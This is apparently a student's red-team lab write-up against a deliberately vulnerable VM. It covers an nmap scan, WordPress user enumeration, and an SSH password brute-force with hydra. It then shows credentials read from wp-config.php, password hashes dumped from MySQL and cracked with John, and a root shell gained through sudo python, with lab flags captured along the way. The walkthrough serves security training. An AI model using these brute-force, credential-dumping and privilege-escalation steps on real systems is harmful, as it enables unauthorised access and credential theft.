

Red Team: Summary of Operations

Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

Exposed Services

Nmap scan results for Target 1: nmap -sV 192.168.1.110

Port 22/ ssh

Port 80/ http

Port 111/ rpcbind

Port 139/ netbios-ssn

Port 445/ netbios-ssn

```
root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-11 15:39 PDT
Nmap scan report for 192.168.1.110
Host is up (0.0011s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://
/nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.83 seconds
```

Critical Vulnerabilities

The following vulnerabilities were identified:

- Target 1
 - ssh remote access possible due to port 22 being open
 - Critical: High
 - Vulnerabilities: Remote attacker is able to gain unrestricted access, escalate to gain root privileges
 - Exposed password hash
 - Critical: Medium
 - Vulnerabilities: Viewable password hash
 - Users using weak passwords
 - Critical: High
 - Vulnerabilities: Passwords vulnerable to brute force attacks using John the Ripper

Exploitation

Scan WordPress site to identify users to use to exploit the open port 22 vulnerability

Command:

wpscan --url <http://192.168.1.110/wordpress> -eu

```
root@Kali:~# wpscan --url http://192.168.1.110/wordpress -eu
```

```
-----  
PRETTY_NAME="Kali GNU/Linux Rolling"  
NAME="Kali GNU/Linux"  
ID=kali  
VERSION="2021.1"  
VERSION_ID="2021.1"  
VERSION_CODENAME=rolling  
ID_LIKE=debian  
ANSI_COLOR="38;2;255;159;122"  
HOME_URL="https://www.kali.org/"  
SUPPORT_URL="https://forums.kali.org/"  
BUG_REPORT_URL="https://bugs.kali.org/"  
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart  
-----
```

No modules are available.

[i] Updating the Database ...

[i] Update completed. Only Linux Rolling

[+] URL: http://192.168.1.110/wordpress/

[+] Started: Mon Oct 11 17:43:33 2021

Interesting Finding(s):

[+] http://192.168.1.110/wordpress/

Interesting Entry: Server: Apache/2.4.10 (Debian)

Found By: Headers (Passive Detection)

Confidence: 100%

[+] http://192.168.1.110/wordpress/xmlrpc.php

Found By: Direct Access (Aggressive Detection)

Confidence: 100%

References:

- http://codex.wordpress.org/XML-RPC_Pingback_API
- https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
- https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
- https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
- https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://192.168.1.110/wordpress/readme.html

Found By: Direct Access (Aggressive Detection)

Confidence: 100%

[+] http://192.168.1.110/wordpress/wp-cron.php

Found By: Direct Access (Aggressive Detection)

Confidence: 60%

References:

[i] User(s) Identified:

[+] michael

Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

Confirmed By: Login Error Messages (Aggressive Detection)

[+] steven

Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

Confirmed By: Login Error Messages (Aggressive Detection)

- Users found:

Michael and Steven

Command:

Next step is to exploit port 22 being open and ssh using one of the users found

Password: michael (**Hint:** Guess michael's password. What's the most obvious possible guess?)

ssh michael@192.168.1.110 (password: michael)

Note: without the given hint, another way to find Michael's password is to run a hydra command, e.g. hydra -l michael -P /usr/share/john/password.lst ssh://192.168.1.110 -t 4

```
root@kali:~# hydra -l michael -P /usr/share/john/password.lst ssh://192.168.1.110 -t 4
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for ill
egal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-10-15 15:59:06
[DATA] max 4 tasks per 1 server, overall 4 tasks, 3559 login tries (l:1/p:3559), ~890 tries per task
[DATA] attacking ssh://192.168.1.110:22/
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 3515 to do in 01:20h, 4 active
[22][ssh] host: 192.168.1.110 login: michael password: michael
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-10-15 16:00:38
root@kali:~# hydra -l michael -P /usr/share/john/password.lst ssh://192.168.1.110 -t 4
```

As "Michael" run ls:

flag2 found:

```
michael@target1:/$ ls
bin  dev  home  lib  lost+found  mnt  proc  run  srv  tmp  vagrant  vmlinuz
boot  etc  initrd.img  lib64  media  opt  root  sbin  sys  usr  var
michael@target1:/$ cd var
michael@target1:/var$ ls
backups  cache  lib  local  lock  log  mail  opt  run  spool  tmp  www
michael@target1:/var$ cat www
cat: www: Is a directory
michael@target1:/var$ cd www
michael@target1:/var/www$ ls -la
total 20
drwxrwxrwx  3 root    root    4096 Aug 13  2018 .
drwxr-xr-x 12 root    root    4096 Aug 13  2018 ..
-rw-----  1 www-data www-data  3 Aug 13  2018 .bash_history
-rw-r--r--  1 root    root      40 Aug 13  2018 flag2.txt
drwxrwxrwx 10 root    root    4096 Aug 13  2018 html
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:/var/www$
```

An alternative way to find flags was used by using grep command:

grep -r "Flag*" "www"

Flag1 and flag2 can be seen below:

```
.
www/html/service.html:      <!-- flag1{b9bbcb33e11b80be759c4e844862482d} -->
www/html/service.html:      <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper
.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></
script>
www/html/index.html:      Need to test the securi
ty of your office or systems? We offer expert Read Teaming services to allow you to see where the flaws in security are
.
www/html/index.html:      <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper
.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></
script>
www/flag2.txt:flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
```

Flag1 location: cd /var/www/html/service.html

flag1{b9bbcb33e11b80be759c4e844862482d}

Flag2 location: cd /var/www/html/index.html

flag2{fc3fd58dcdad9ab23faca6e9a36e581c}

Find the MySQL database password.

- **Hint:** Look for a wp-config.php file in /var/www/html.

cd /var/www/html/wordpress/

nano wp-config.php


```
michael@target1:/var/www/html/wordpress
File Actions Edit View Help
GNU nano 2.2.6 File: wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://codex.wordpress.org/Editing_wp-config.php
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
```

From Target 1 type:

/opt/setup (This enables Filebeat, Metricbeat, and Packetbeat on the Target VM if they are not running already)

```
mysql -u root -pR@v3nSecurity wordpress
```

User: root

Password: R@v3nSecurity

Database name: wordpress

User passwords are in /etc/shadow, but users need to be in the sudoers file - NOTE: these passwords inside shadow are for the machines. I need to find the users hashes for the SQL database

NOTE: in nano I can use Use control+k to delete the current line

Target 1:

Accessed SQL database with credentials above

```
Target 1 on ML-REFVM-684427 - Virtual Machine Connection
File Action Media Clipboard View Help
show commands' at line 2
mysql> exit
Bye
root@target1:~# mysql -u root -pR@v3nSecurity wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 63
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show tables;
+-----+
| Tables_in_wordpress |
+-----+
| wp_commentmeta      |
| wp_comments         |
| wp_links            |
| wp_options          |
| wp_postmeta         |
| wp_posts            |
| wp_term_relationships |
| wp_term_taxonomy    |
| wp_termmeta         |
| wp_terms            |
| wp_usermeta         |
| wp_users            |
+-----+
12 rows in set (0.00 sec)

mysql> SELECT * FROM wp_users;
+-----+-----+-----+-----+-----+-----+-----+-----+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key |
+-----+-----+-----+-----+-----+-----+-----+-----+
| 1 | michael | $P$BjRv2Q.VQcG2lDeiKToCQd.cPw5XCe0 | michael | michael@raven.org | | 2018-08-12 22:49:12 | |
| 2 | steven | $P$Bk3VD9jsxx/1oJqNsURgH1aB23j7W/ | steven | steven@raven.org | | 2018-08-12 23:31:16 | |
+-----+-----+-----+-----+-----+-----+-----+-----+
```

I can also login to the company's mySQL from Kali, this way I can copy/paste the hashes to a nano doc:

From kali

root@Kali:~# ssh michael@192.168.1.110 to ssh into michael

Michael password is michael

As Michael then input:

mysql -u root -pR@v3nSecurity wordpress

In SQL input:

show tables;

(to see table names)

The input:

SELECT * FROM wp_users;


```
michael@target1: ~
File Actions Edit View Help
[+] Finished: Wed Oct 13 15:10:22 2021
[+] Requests Done: 48
[+] Cached Requests: 4
[+] Data Sent: 10.471 KB
[+] Data Received: 284.802 KB
[+] Memory used: 121.457 MB
[+] Elapsed time: 00:00:03
root@Kali:~# ssh michael@192.168.1.110
michael@192.168.1.110's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Thu Oct 14 05:52:12 2021 from 192.168.1.90
michael@target1:~$ pwd
/home/michael
michael@target1:~$ nano wp_hashes.txt
michael@target1:~$ nano wp_hashes.txt
michael@target1:~$ john wp_hashes.txt
-bash: john: command not found
michael@target1:~$ nano wp_hashes.txt
michael@target1:~$ exit
logout
Connection to 192.168.1.110 closed.
root@Kali:~# nano wp_hashes.txt
root@Kali:~# john wp_hashes.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 512/512 AVX512BW 16x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 1 candidate buffered for the current salt, minimum 96 needed for performance.
Warning: Only 79 candidates buffered for the current salt, minimum 96 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
pink84 (steven)
1g 0:00:09:09 3/3 0.001821g/s 28312p/s 35049c/s 35049C/s mjev9o..mjd039
```

Steven password: pink84

As Steven go to /usr/bin/python
cd python
ls -l ./python
sudo ./python -c 'import os;os.system("/bin/bash")'
whoami
cd /root
ls

Flag4{715dea6c055b9fe3337544932f2941ce}

